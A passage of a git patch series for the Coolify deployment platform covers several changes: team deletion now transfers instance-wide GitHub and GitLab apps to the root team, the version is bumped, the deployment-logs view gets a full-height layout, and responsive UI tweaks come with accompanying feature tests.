+            GithubApp::where('team_id', $team->id)->where('is_system_wide', true)->update(['team_id' => 0]);
+            GitlabApp::where('team_id', $team->id)->where('is_system_wide', true)->update(['team_id' => 0]);
+
+            // Delete non-instance-wide sources owned by this team
             $teamSources = GithubApp::where('team_id', $team->id)->get()
                 ->merge(GitlabApp::where('team_id', $team->id)->get());
             foreach ($teamSources as $source) {
                 $source->delete();
             }
-            $tags = Tag::whereTeamId($team->id)->get();
-            foreach ($tags as $tag) {
+
+            foreach (Tag::whereTeamId($team->id)->get() as $tag) {
                 $tag->delete();
             }
-            $shared_variables = $team->environment_variables();
-            foreach ($shared_variables as $shared_variable) {
-                $shared_variable->delete();
+
+            foreach ($team->environment_variables()->get() as $sharedVariable) {
+                $sharedVariable->delete();
             }
-            $s3s = $team->s3s;
-            foreach ($s3s as $s3) {
+
+            foreach ($team->s3s as $s3) {
                 $s3->delete();
             }
         });
@@ -340,4 +344,5 @@ public function webhookNotificationSettings()
     {
         return $this->hasOne(WebhookNotificationSettings::class);
     }
+
 }
diff --git a/app/Models/User.php b/app/Models/User.php
index 7a9600ec4..3199d2024 100644
--- a/app/Models/User.php
+++ b/app/Models/User.php
@@ -176,23 +176,6 @@ private static function finalizeTeamDeletion(User $user, Team $team)
             $project->forceDelete();
         }
 
-        // Detach applications from other teams that reference this team's sources,
-        // so the GithubApp/GitlabApp deleting guard doesn't block team deletion
-        $githubAppIds = GithubApp::where('team_id', $team->id)->pluck('id');
-        $gitlabAppIds = GitlabApp::where('team_id', $team->id)->pluck('id');
-
-        if ($githubAppIds->isNotEmpty()) {
-            Application::where('source_type', GithubApp::class)
-                ->whereIn('source_id', $githubAppIds)
-                ->update(['source_id' => null, 'source_type' => null]);
-        }
-
-        if ($gitlabAppIds->isNotEmpty()) {
-            Application::where('source_type', GitlabApp::class)
-                ->whereIn('source_id', $gitlabAppIds)
-                ->update(['source_id' => null, 'source_type' => null]);
-        }
-
         $team->members()->detach($user->id);
         $team->delete();
     }
diff --git a/tests/Feature/UserDeletionWithGithubAppTest.php b/tests/Feature/UserDeletionWithGithubAppTest.php
index d8986e378..b2ccbccb0 100644
--- a/tests/Feature/UserDeletionWithGithubAppTest.php
+++ b/tests/Feature/UserDeletionWithGithubAppTest.php
@@ -118,49 +118,101 @@
     expect(GithubApp::find($systemGithubApp->id))->not->toBeNull();
 });
 
-it('nullifies source references on other teams apps when deleting a user', function () {
-    // Create the user to be deleted with their own team
+it('transfers instance-wide github app to root team when owning user is deleted', function () {
+    // Create a user whose team owns an instance-wide GitHub App
     $targetUser = User::factory()->create();
     $targetTeam = $targetUser->teams()->first();
 
-    // Create a GitHub App owned by the target team
     $targetPrivateKey = PrivateKey::factory()->create(['team_id' => $targetTeam->id]);
-    $githubApp = GithubApp::create([
-        'name' => 'Target GitHub App',
+    $instanceWideApp = GithubApp::create([
+        'name' => 'Instance-Wide GitHub App',
         'team_id' => $targetTeam->id,
         'private_key_id' => $targetPrivateKey->id,
         'api_url' => 'https://api.github.com',
         'html_url' => 'https://github.com',
         'is_public' => false,
+        'is_system_wide' => true,
     ]);
 
-    // Create an application on the ADMIN's team that uses the target team's GitHub App
-    $adminPrivateKey = PrivateKey::factory()->create(['team_id' => $this->rootTeam->id]);
-    $adminServer = Server::factory()->create([
+    // Create an application on the ROOT team that uses this instance-wide GitHub App
+    $rootPrivateKey = PrivateKey::factory()->create(['team_id' => $this->rootTeam->id]);
+    $rootServer = Server::factory()->create([
         'team_id' => $this->rootTeam->id,
-        'private_key_id' => $adminPrivateKey->id,
+        'private_key_id' => $rootPrivateKey->id,
     ]);
-    $adminDestination = StandaloneDocker::factory()->create(['server_id' => $adminServer->id]);
-    $adminProject = Project::factory()->create(['team_id' => $this->rootTeam->id]);
-    $adminEnvironment = Environment::factory()->create(['project_id' => $adminProject->id]);
+    $rootDestination = StandaloneDocker::factory()->create(['server_id' => $rootServer->id]);
+    $rootProject = Project::factory()->create(['team_id' => $this->rootTeam->id]);
+    $rootEnvironment = Environment::factory()->create(['project_id' => $rootProject->id]);
 
     $otherTeamApp = Application::factory()->create([
-        'environment_id' => $adminEnvironment->id,
-        'destination_id' => $adminDestination->id,
+        'environment_id' => $rootEnvironment->id,
+        'destination_id' => $rootDestination->id,
         'destination_type' => StandaloneDocker::class,
-        'source_id' => $githubApp->id,
+        'source_id' => $instanceWideApp->id,
         'source_type' => GithubApp::class,
     ]);
 
-    // Delete the target user — should succeed, nullifying the source reference
+    // Delete the user — should succeed and transfer the instance-wide app to root team
     $targetUser->delete();
 
     // Assert user is deleted
     expect(User::find($targetUser->id))->toBeNull();
 
-    // Assert the other team's application still exists but source is nullified
+    // Assert the instance-wide GitHub App is preserved and transferred to root team
+    $instanceWideApp->refresh();
+    expect($instanceWideApp)->not->toBeNull();
+    expect($instanceWideApp->team_id)->toBe($this->rootTeam->id);
+
+    // Assert the other team's application still has its source intact
     $otherTeamApp->refresh();
-    expect($otherTeamApp)->not->toBeNull();
-    expect($otherTeamApp->source_id)->toBeNull();
-    expect($otherTeamApp->source_type)->toBeNull();
+    expect($otherTeamApp->source_id)->toBe($instanceWideApp->id);
+    expect($otherTeamApp->source_type)->toBe(GithubApp::class);
+});
+
+it('transfers instance-wide github app to root team when team is deleted directly', function () {
+    // Create a team that owns an instance-wide GitHub App
+    $targetUser = User::factory()->create();
+    $targetTeam = $targetUser->teams()->first();
+
+    $targetPrivateKey = PrivateKey::factory()->create(['team_id' => $targetTeam->id]);
+    $instanceWideApp = GithubApp::create([
+        'name' => 'Instance-Wide GitHub App',
+        'team_id' => $targetTeam->id,
+        'private_key_id' => $targetPrivateKey->id,
+        'api_url' => 'https://api.github.com',
+        'html_url' => 'https://github.com',
+        'is_public' => false,
+        'is_system_wide' => true,
+    ]);
+
+    // Create an application on the ROOT team that uses this instance-wide GitHub App
+    $rootPrivateKey = PrivateKey::factory()->create(['team_id' => $this->rootTeam->id]);
+    $rootServer = Server::factory()->create([
+        'team_id' => $this->rootTeam->id,
+        'private_key_id' => $rootPrivateKey->id,
+    ]);
+    $rootDestination = StandaloneDocker::factory()->create(['server_id' => $rootServer->id]);
+    $rootProject = Project::factory()->create(['team_id' => $this->rootTeam->id]);
+    $rootEnvironment = Environment::factory()->create(['project_id' => $rootProject->id]);
+
+    $otherTeamApp = Application::factory()->create([
+        'environment_id' => $rootEnvironment->id,
+        'destination_id' => $rootDestination->id,
+        'destination_type' => StandaloneDocker::class,
+        'source_id' => $instanceWideApp->id,
+        'source_type' => GithubApp::class,
+    ]);
+
+    // Delete the team directly — should transfer instance-wide app to root team
+    $targetTeam->delete();
+
+    // Assert the instance-wide GitHub App is preserved and transferred to root team
+    $instanceWideApp->refresh();
+    expect($instanceWideApp)->not->toBeNull();
+    expect($instanceWideApp->team_id)->toBe($this->rootTeam->id);
+
+    // Assert the other team's application still has its source intact
+    $otherTeamApp->refresh();
+    expect($otherTeamApp->source_id)->toBe($instanceWideApp->id);
+    expect($otherTeamApp->source_type)->toBe(GithubApp::class);
 });

From 6bfc289ec5ce3eaef353b3290e7f85500ba02024 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 9 Apr 2026 17:50:16 +0200
Subject: [PATCH 029/102] chore(release): bump version to 4.0.0-beta.473

---
 config/constants.php        | 2 +-
 other/nightly/versions.json | 2 +-
 versions.json               | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/config/constants.php b/config/constants.php
index d0ae9be65..adaeb7fb2 100644
--- a/config/constants.php
+++ b/config/constants.php
@@ -2,7 +2,7 @@
 
 return [
     'coolify' => [
-        'version' => '4.0.0-beta.472',
+        'version' => '4.0.0-beta.473',
         'helper_version' => '1.0.13',
         'realtime_version' => '1.0.12',
         'self_hosted' => env('SELF_HOSTED', true),
diff --git a/other/nightly/versions.json b/other/nightly/versions.json
index 26d755967..b8d6efae2 100644
--- a/other/nightly/versions.json
+++ b/other/nightly/versions.json
@@ -1,7 +1,7 @@
 {
     "coolify": {
         "v4": {
-            "version": "4.0.0-beta.472"
+            "version": "4.0.0-beta.473"
         },
         "nightly": {
             "version": "4.0.0"
diff --git a/versions.json b/versions.json
index 26d755967..b8d6efae2 100644
--- a/versions.json
+++ b/versions.json
@@ -1,7 +1,7 @@
 {
     "coolify": {
         "v4": {
-            "version": "4.0.0-beta.472"
+            "version": "4.0.0-beta.473"
         },
         "nightly": {
             "version": "4.0.0"

From 33f260a6557ed7ed4b03c1a55eecd7692a4c51b5 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 9 Apr 2026 19:27:19 +0200
Subject: [PATCH 030/102] fix(deployments): use full-height deployment logs
 layout

Adjust the deployment view container classes so the logs panel fills the available viewport height instead of capping at 30rem. Add a feature test to lock in the full-height layout classes and prevent regressions.
---
 .../application/deployment/show.blade.php     | 15 ++--
 tests/Feature/DeploymentLogsLayoutTest.php    | 79 +++++++++++++++++++
 2 files changed, 86 insertions(+), 8 deletions(-)
 create mode 100644 tests/Feature/DeploymentLogsLayoutTest.php

diff --git a/resources/views/livewire/project/application/deployment/show.blade.php b/resources/views/livewire/project/application/deployment/show.blade.php
index c17cda55f..d6294f3c8 100644
--- a/resources/views/livewire/project/application/deployment/show.blade.php
+++ b/resources/views/livewire/project/application/deployment/show.blade.php
@@ -1,4 +1,4 @@
-<div>
+<div class="flex h-[calc(100vh-10rem)] min-h-[50rem] flex-col overflow-hidden">
     <x-slot:title>
         {{ data_get_str($application, 'name')->limit(10) }} > Deployment | Coolify
         </x-slot>
@@ -165,13 +165,13 @@
                 this.scheduleScroll();
             }
         }
-    }">
+    }" class="flex flex-1 min-h-0 flex-col overflow-hidden">
             <livewire:project.application.deployment-navbar
                 :application_deployment_queue="$application_deployment_queue" />
-            <div id="screen" :class="fullscreen ? 'fullscreen flex flex-col' : 'mt-4 relative'">
+            <div id="screen" :class="fullscreen ? 'fullscreen flex flex-col' : 'mt-4 flex flex-1 min-h-0 flex-col overflow-hidden'">
                 <div @if ($isKeepAliveOn) wire:poll.2000ms="polling" @endif
-                    class="flex flex-col w-full bg-white dark:text-white dark:bg-coolgray-100 dark:border-coolgray-300"
-                    :class="fullscreen ? 'h-full' : 'border border-dotted rounded-sm'">
+                    class="flex min-h-0 flex-col w-full overflow-hidden bg-white dark:text-white dark:bg-coolgray-100 dark:border-coolgray-300"
+                    :class="fullscreen ? 'h-full' : 'flex-1 border border-dotted rounded-sm'">
                     <div
                         class="flex flex-wrap items-center justify-between gap-2 px-4 py-2 border-b dark:border-coolgray-300 border-neutral-200 shrink-0">
                         <div class="flex items-center gap-3">
@@ -328,8 +328,7 @@ class="p-1 text-gray-500 hover:text-gray-700 dark:text-gray-400 dark:hover:text-
                         </div>
                     </div>
                     <div id="logsContainer"
-                        class="flex flex-col overflow-y-auto p-2 px-4 min-h-4 scrollbar"
-                        :class="fullscreen ? 'flex-1' : 'max-h-[30rem]'">
+                        class="flex min-h-40 flex-1 flex-col overflow-y-auto p-2 px-4 scrollbar">
                         <div id="logs" class="flex flex-col font-logs">
                             <div x-show="searchQuery.trim() && matchCount === 0"
                                 class="text-gray-500 dark:text-gray-400 py-2">
@@ -363,4 +362,4 @@ class="shrink-0 text-gray-500">{{ $line['timestamp'] }}</span>
                 </div>
             </div>
         </div>
-</div>
\ No newline at end of file
+</div>
diff --git a/tests/Feature/DeploymentLogsLayoutTest.php b/tests/Feature/DeploymentLogsLayoutTest.php
new file mode 100644
index 000000000..a905b8d15
--- /dev/null
+++ b/tests/Feature/DeploymentLogsLayoutTest.php
@@ -0,0 +1,79 @@
+<?php
+
+use App\Enums\ApplicationDeploymentStatus;
+use App\Models\Application;
+use App\Models\ApplicationDeploymentQueue;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->user = User::factory()->create();
+    $this->team = Team::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    InstanceSettings::unguarded(function () {
+        InstanceSettings::query()->create([
+            'id' => 0,
+            'is_registration_enabled' => true,
+        ]);
+    });
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    $this->destination = StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail();
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+    $this->application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'status' => 'running',
+    ]);
+});
+
+it('renders deployment logs in a full-height layout', function () {
+    $deployment = ApplicationDeploymentQueue::create([
+        'application_id' => $this->application->id,
+        'deployment_uuid' => 'deploy-layout-test',
+        'server_id' => $this->server->id,
+        'status' => ApplicationDeploymentStatus::FINISHED->value,
+        'logs' => json_encode([
+            [
+                'command' => null,
+                'output' => 'rolling update started',
+                'type' => 'stdout',
+                'timestamp' => now()->toISOString(),
+                'hidden' => false,
+                'batch' => 1,
+                'order' => 1,
+            ],
+        ], JSON_THROW_ON_ERROR),
+    ]);
+
+    $response = $this->get(route('project.application.deployment.show', [
+        'project_uuid' => $this->project->uuid,
+        'environment_uuid' => $this->environment->uuid,
+        'application_uuid' => $this->application->uuid,
+        'deployment_uuid' => $deployment->deployment_uuid,
+    ]));
+
+    $response->assertSuccessful();
+    $response->assertSee('rolling update started');
+    $response->assertSee('flex h-[calc(100vh-10rem)] min-h-40 flex-col overflow-hidden', false);
+    $response->assertSee('flex flex-1 min-h-0 flex-col overflow-hidden', false);
+    $response->assertSee('mt-4 flex flex-1 min-h-0 flex-col overflow-hidden', false);
+    $response->assertSee('flex min-h-0 flex-col w-full overflow-hidden bg-white', false);
+    $response->assertSee('flex min-h-40 flex-1 flex-col overflow-y-auto p-2 px-4 scrollbar', false);
+
+    expect($response->getContent())->not->toContain('max-h-[30rem]');
+});

From 0d8a95473a89759fc29165674d4fb66df98957b5 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 9 Apr 2026 19:51:31 +0200
Subject: [PATCH 031/102] fix(ui): improve responsive project headings and
 controls

Refine mobile layout for project resource pages by making breadcrumbs and status blocks responsive, improving dropdown and checkbox touch behavior, and adding support for custom modal triggers. Add feature tests covering breadcrumb visibility and responsive checkbox layout.
---
 resources/css/utilities.css                   |   4 +
 resources/views/components/dropdown.blade.php |  49 +++-
 .../views/components/forms/checkbox.blade.php |  12 +-
 .../components/modal-confirmation.blade.php   |   6 +-
 .../resources/breadcrumbs.blade.php           |  63 ++--
 .../views/components/status/index.blade.php   |  66 ++---
 .../components/status/services.blade.php      |  56 ++--
 .../livewire/notifications/email.blade.php    |   2 +-
 .../livewire/notifications/telegram.blade.php |  28 +-
 .../project/application/general.blade.php     |  10 +-
 .../project/application/heading.blade.php     | 227 +++++++++------
 .../project/database/heading.blade.php        | 148 ++++++----
 .../project/service/file-storage.blade.php    |   8 +-
 .../project/service/heading.blade.php         | 272 +++++++++++-------
 .../livewire/project/service/index.blade.php  |   2 +-
 .../project/service/stack-form.blade.php      |   4 +-
 .../project/shared/storages/show.blade.php    |   4 +-
 .../views/livewire/server/proxy.blade.php     |   2 +-
 .../views/livewire/server/sentinel.blade.php  |   2 +-
 .../views/livewire/server/show.blade.php      |   2 +-
 .../livewire/source/github/change.blade.php   |   2 +-
 tests/Feature/BreadcrumbsVisibilityTest.php   |  71 +++++
 .../Feature/ResponsiveCheckboxLayoutTest.php  | 113 ++++++++
 23 files changed, 791 insertions(+), 362 deletions(-)
 create mode 100644 tests/Feature/BreadcrumbsVisibilityTest.php
 create mode 100644 tests/Feature/ResponsiveCheckboxLayoutTest.php

diff --git a/resources/css/utilities.css b/resources/css/utilities.css
index 02be0c0c4..a8e807041 100644
--- a/resources/css/utilities.css
+++ b/resources/css/utilities.css
@@ -145,6 +145,10 @@ @utility dropdown-item {
     @apply flex relative gap-2 justify-start items-center py-1 pr-4 pl-2 w-full text-xs transition-colors cursor-pointer select-none dark:text-white hover:bg-neutral-100 dark:hover:bg-coollabs outline-none data-disabled:pointer-events-none data-disabled:opacity-50 focus-visible:bg-neutral-100 dark:focus-visible:bg-coollabs;
 }
 
+@utility dropdown-item-touch {
+    @apply min-h-10 px-3 py-2 text-sm;
+}
+
 @utility dropdown-item-no-padding {
     @apply flex relative gap-2 justify-start items-center py-1 w-full text-xs transition-colors cursor-pointer select-none dark:text-white hover:bg-neutral-100 dark:hover:bg-coollabs outline-none data-disabled:pointer-events-none data-disabled:opacity-50 focus-visible:bg-neutral-100 dark:focus-visible:bg-coollabs;
 }
diff --git a/resources/views/components/dropdown.blade.php b/resources/views/components/dropdown.blade.php
index 666b93dbc..2bb917f79 100644
--- a/resources/views/components/dropdown.blade.php
+++ b/resources/views/components/dropdown.blade.php
@@ -1,7 +1,44 @@
 <div x-data="{
-    dropdownOpen: false
-}" class="relative" @click.outside="dropdownOpen = false">
-    <button @click="dropdownOpen=true"
+    dropdownOpen: false,
+    panelStyles: '',
+    open() {
+        this.dropdownOpen = true;
+        this.updatePanelPosition();
+    },
+    close() {
+        this.dropdownOpen = false;
+    },
+    updatePanelPosition() {
+        if (window.innerWidth >= 768) {
+            this.panelStyles = '';
+
+            return;
+        }
+
+        this.$nextTick(() => {
+            const triggerRect = this.$refs.trigger.getBoundingClientRect();
+            const panelRect = this.$refs.panel.getBoundingClientRect();
+            const viewportPadding = 8;
+            let left = triggerRect.left;
+
+            if ((left + panelRect.width + viewportPadding) > window.innerWidth) {
+                left = window.innerWidth - panelRect.width - viewportPadding;
+            }
+
+            left = Math.max(viewportPadding, left);
+
+            let top = triggerRect.bottom + 4;
+            const maxTop = window.innerHeight - panelRect.height - viewportPadding;
+
+            if (top > maxTop) {
+                top = Math.max(viewportPadding, triggerRect.top - panelRect.height - viewportPadding);
+            }
+
+            this.panelStyles = `position: fixed; left: ${left}px; top: ${top}px;`;
+        });
+    }
+}" class="relative" @click.outside="close()" x-on:resize.window="if (dropdownOpen) updatePanelPosition()">
+    <button x-ref="trigger" @click="dropdownOpen ? close() : open()"
         class="inline-flex items-center justify-start pr-8 transition-colors focus:outline-hidden disabled:opacity-50 disabled:pointer-events-none">
         <span class="flex flex-col items-start h-full leading-none">
             {{ $title }}
@@ -13,11 +50,11 @@ class="inline-flex items-center justify-start pr-8 transition-colors focus:outli
         </svg>
     </button>
 
-    <div x-show="dropdownOpen" @click.away="dropdownOpen=false" x-transition:enter="ease-out duration-200"
+    <div x-ref="panel" x-show="dropdownOpen" @click.away="close()" x-transition:enter="ease-out duration-200"
         x-transition:enter-start="-translate-y-2" x-transition:enter-end="translate-y-0"
-        class="absolute top-0 z-50 mt-6 min-w-max" x-cloak>
+        :style="panelStyles" class="absolute top-full z-50 mt-1 min-w-max max-w-[calc(100vw-1rem)] md:top-0 md:mt-6" x-cloak>
         <div
-            class="p-1 mt-1 bg-white border rounded-sm shadow-sm dark:bg-coolgray-200 dark:border-coolgray-300 border-neutral-300">
+            class="border border-neutral-300 bg-white p-1 shadow-sm dark:border-coolgray-300 dark:bg-coolgray-200">
             {{ $slot }}
         </div>
     </div>
diff --git a/resources/views/components/forms/checkbox.blade.php b/resources/views/components/forms/checkbox.blade.php
index b291759a8..29717b9b8 100644
--- a/resources/views/components/forms/checkbox.blade.php
+++ b/resources/views/components/forms/checkbox.blade.php
@@ -11,12 +11,12 @@
 ])
 
 <div @class([
-    'flex flex-row items-center gap-4 pr-2 py-1 form-control min-w-fit',
+    'form-control flex max-w-full flex-row items-center gap-4 py-1 pr-2',
     'w-full' => $fullWidth,
     'dark:hover:bg-coolgray-100 cursor-pointer' => !$disabled,
 ])>
-    <label @class(['flex gap-4 items-center px-0 min-w-fit label w-full'])>
-        <span class="flex grow gap-2">
+    <label @class(['label flex w-full max-w-full min-w-0 items-center gap-4 px-0'])>
+        <span class="flex min-w-0 grow gap-2 break-words">
             @if ($label)
                 @if ($disabled)
                     <span class="opacity-60">{!! $label !!}</span>
@@ -29,16 +29,16 @@
             @endif
         </span>
         @if ($instantSave)
-            <input type="checkbox" @disabled($disabled) {{ $attributes->merge(['class' => $defaultClass]) }}
+            <input type="checkbox" @disabled($disabled) {{ $attributes->class([$defaultClass, 'shrink-0']) }}
                 wire:loading.attr="disabled"
                 wire:click='{{ $instantSave === 'instantSave' || $instantSave == '1' ? 'instantSave' : $instantSave }}'
                 wire:model={{ $modelBinding }} id="{{ $htmlId }}" @if ($checked) checked @endif />
         @else
             @if ($domValue)
-                <input type="checkbox" @disabled($disabled) {{ $attributes->merge(['class' => $defaultClass]) }}
+                <input type="checkbox" @disabled($disabled) {{ $attributes->class([$defaultClass, 'shrink-0']) }}
                     value={{ $domValue }} id="{{ $htmlId }}" @if ($checked) checked @endif />
             @else
-                <input type="checkbox" @disabled($disabled) {{ $attributes->merge(['class' => $defaultClass]) }}
+                <input type="checkbox" @disabled($disabled) {{ $attributes->class([$defaultClass, 'shrink-0']) }}
                     wire:model={{ $value ?? $modelBinding }} id="{{ $htmlId }}" @if ($checked) checked @endif />
             @endif
         @endif
diff --git a/resources/views/components/modal-confirmation.blade.php b/resources/views/components/modal-confirmation.blade.php
index c1e8a3e54..b1d7ac475 100644
--- a/resources/views/components/modal-confirmation.blade.php
+++ b/resources/views/components/modal-confirmation.blade.php
@@ -129,7 +129,11 @@
 }"
     @keydown.escape.window="if (modalOpen) { modalOpen = false; resetModal(); }" :class="{ 'z-40': modalOpen }"
     class="relative w-auto h-auto">
-    @if ($customButton)
+    @if (isset($trigger))
+        <div @click="modalOpen=true">
+            {{ $trigger }}
+        </div>
+    @elseif ($customButton)
         @if ($buttonFullWidth)
             <x-forms.button @click="modalOpen=true" class="w-full">
                 {{ $customButton }}
diff --git a/resources/views/components/resources/breadcrumbs.blade.php b/resources/views/components/resources/breadcrumbs.blade.php
index 300a8d6e2..975a1bf4b 100644
--- a/resources/views/components/resources/breadcrumbs.blade.php
+++ b/resources/views/components/resources/breadcrumbs.blade.php
@@ -29,9 +29,47 @@
     $currentProjectUuid = data_get($resource, 'environment.project.uuid');
     $currentEnvironmentUuid = data_get($resource, 'environment.uuid');
     $currentResourceUuid = data_get($resource, 'uuid');
+    $resourceUuid = data_get($resource, 'uuid');
+    $resourceType = $resource->getMorphClass();
+    $isApplication = $resourceType === 'App\Models\Application';
+    $isService = $resourceType === 'App\Models\Service';
+    $isDatabase = str_contains($resourceType, 'Database') || str_contains($resourceType, 'Standalone');
+    $hasMultipleServers = $isApplication && method_exists($resource, 'additional_servers') &&
+        ($resource->relationLoaded('additional_servers') ? $resource->additional_servers->count() > 0 : ($resource->additional_servers_count ?? 0) > 0);
+    $serverName = $hasMultipleServers ? null : data_get($resource, 'destination.server.name');
+    $routeParams = [
+        'project_uuid' => $currentProjectUuid,
+        'environment_uuid' => $currentEnvironmentUuid,
+    ];
+    if ($isApplication) {
+        $routeParams['application_uuid'] = $resourceUuid;
+    } elseif ($isService) {
+        $routeParams['service_uuid'] = $resourceUuid;
+    } else {
+        $routeParams['database_uuid'] = $resourceUuid;
+    }
 @endphp
-<nav class="flex pt-2 pb-10">
-    <ol class="flex flex-wrap items-center gap-y-1">
+<nav class="pt-2 pb-4 md:pb-10">
+    <div class="flex min-w-0 flex-col gap-1 md:hidden">
+        <div class="flex min-w-0 items-center text-xs text-neutral-400">
+            <a class="min-w-0 truncate text-neutral-300 hover:text-warning" {{ wireNavigate() }}
+                href="{{ $isApplication
+                    ? route('project.application.configuration', $routeParams)
+                    : ($isService
+                        ? route('project.service.configuration', $routeParams)
+                        : route('project.database.configuration', $routeParams)) }}"
+                title="{{ data_get($resource, 'name') }}{{ $serverName ? ' ('.$serverName.')' : '' }}">
+                {{ data_get($resource, 'name') }}
+            </a>
+        </div>
+        @if ($resource->getMorphClass() == 'App\Models\Service')
+            <x-status.services :service="$resource" />
+        @else
+            <x-status.index :resource="$resource" :title="$lastDeploymentInfo" :lastDeploymentLink="$lastDeploymentLink" />
+        @endif
+    </div>
+
+    <ol class="hidden flex-wrap items-center gap-y-1 md:flex">
         <!-- Project Level -->
         <li class="inline-flex items-center" x-data="{ projectOpen: false, closeTimeout: null, toggle() { this.projectOpen = !this.projectOpen }, open() { clearTimeout(this.closeTimeout); this.projectOpen = true }, close() { this.closeTimeout = setTimeout(() => { this.projectOpen = false }, 100) } }">
             <div class="flex items-center relative" @mouseenter="open()" @mouseleave="close()">
@@ -204,27 +242,6 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg
         </li>
 
         <!-- Resource Level -->
-        @php
-            $resourceUuid = data_get($resource, 'uuid');
-            $resourceType = $resource->getMorphClass();
-            $isApplication = $resourceType === 'App\Models\Application';
-            $isService = $resourceType === 'App\Models\Service';
-            $isDatabase = str_contains($resourceType, 'Database') || str_contains($resourceType, 'Standalone');
-            $hasMultipleServers = $isApplication && method_exists($resource, 'additional_servers') &&
-                ($resource->relationLoaded('additional_servers') ? $resource->additional_servers->count() > 0 : ($resource->additional_servers_count ?? 0) > 0);
-            $serverName = $hasMultipleServers ? null : data_get($resource, 'destination.server.name');
-            $routeParams = [
-                'project_uuid' => $currentProjectUuid,
-                'environment_uuid' => $currentEnvironmentUuid,
-            ];
-            if ($isApplication) {
-                $routeParams['application_uuid'] = $resourceUuid;
-            } elseif ($isService) {
-                $routeParams['service_uuid'] = $resourceUuid;
-            } else {
-                $routeParams['database_uuid'] = $resourceUuid;
-            }
-        @endphp
         <li class="inline-flex items-center mr-2">
             <a class="text-xs truncate lg:text-sm hover:text-warning" {{ wireNavigate() }}
                 href="{{ $isApplication
diff --git a/resources/views/components/status/index.blade.php b/resources/views/components/status/index.blade.php
index f0a7876ce..8d959ce6e 100644
--- a/resources/views/components/status/index.blade.php
+++ b/resources/views/components/status/index.blade.php
@@ -3,35 +3,37 @@
     'lastDeploymentLink' => null,
     'resource' => null,
 ])
-@if (str($resource->status)->startsWith('running'))
-    <x-status.running :status="$resource->status" :title="$title" :lastDeploymentLink="$lastDeploymentLink" />
-@elseif(str($resource->status)->startsWith('degraded'))
-    <x-status.degraded :status="$resource->status" :title="$title" :lastDeploymentLink="$lastDeploymentLink" />
-@elseif(str($resource->status)->startsWith('restarting') || str($resource->status)->startsWith('starting'))
-    <x-status.restarting :status="$resource->status" :title="$title" :lastDeploymentLink="$lastDeploymentLink" />
-@else
-    <x-status.stopped :status="$resource->status" />
-@endif
-@if (isset($resource->restart_count) && $resource->restart_count > 0 && !str($resource->status)->startsWith('exited'))
-    <div class="flex items-center pl-2">
-        <span class="text-xs dark:text-warning" title="Container has restarted {{ $resource->restart_count }} time{{ $resource->restart_count > 1 ? 's' : '' }}. Last restart: {{ $resource->last_restart_at?->diffForHumans() }}">
-            ({{ $resource->restart_count }}x restarts)
-        </span>
-    </div>
-@endif
-@if (!str($resource->status)->contains('exited') && $showRefreshButton)
-    <button wire:loading.remove.delay.shortest wire:target="manualCheckStatus" title="Refresh Status" wire:click='manualCheckStatus'
-        class="mx-1 dark:hover:fill-white fill-black dark:fill-warning">
-        <svg class="w-4 h-4" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
-            <path
-                d="M12 2a10.016 10.016 0 0 0-7 2.877V3a1 1 0 1 0-2 0v4.5a1 1 0 0 0 1 1h4.5a1 1 0 0 0 0-2H6.218A7.98 7.98 0 0 1 20 12a1 1 0 0 0 2 0A10.012 10.012 0 0 0 12 2zm7.989 13.5h-4.5a1 1 0 0 0 0 2h2.293A7.98 7.98 0 0 1 4 12a1 1 0 0 0-2 0a9.986 9.986 0 0 0 16.989 7.133V21a1 1 0 0 0 2 0v-4.5a1 1 0 0 0-1-1z" />
-        </svg>
-    </button>
-    <button wire:loading.delay.shortest wire:target="manualCheckStatus" title="Refreshing Status" wire:click='manualCheckStatus'
-        class="mx-1 dark:hover:fill-white fill-black dark:fill-warning">
-        <svg class="w-4 h-4 animate-spin" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
-            <path
-                d="M12 2a10.016 10.016 0 0 0-7 2.877V3a1 1 0 1 0-2 0v4.5a1 1 0 0 0 1 1h4.5a1 1 0 0 0 0-2H6.218A7.98 7.98 0 0 1 20 12a1 1 0 0 0 2 0A10.012 10.012 0 0 0 12 2zm7.989 13.5h-4.5a1 1 0 0 0 0 2h2.293A7.98 7.98 0 0 1 4 12a1 1 0 0 0-2 0a9.986 9.986 0 0 0 16.989 7.133V21a1 1 0 0 0 2 0v-4.5a1 1 0 0 0-1-1z" />
-        </svg>
-    </button>
-@endif
+<div class="flex flex-wrap items-center gap-1">
+    @if (str($resource->status)->startsWith('running'))
+        <x-status.running :status="$resource->status" :title="$title" :lastDeploymentLink="$lastDeploymentLink" />
+    @elseif(str($resource->status)->startsWith('degraded'))
+        <x-status.degraded :status="$resource->status" :title="$title" :lastDeploymentLink="$lastDeploymentLink" />
+    @elseif(str($resource->status)->startsWith('restarting') || str($resource->status)->startsWith('starting'))
+        <x-status.restarting :status="$resource->status" :title="$title" :lastDeploymentLink="$lastDeploymentLink" />
+    @else
+        <x-status.stopped :status="$resource->status" />
+    @endif
+    @if (isset($resource->restart_count) && $resource->restart_count > 0 && !str($resource->status)->startsWith('exited'))
+        <div class="flex items-center">
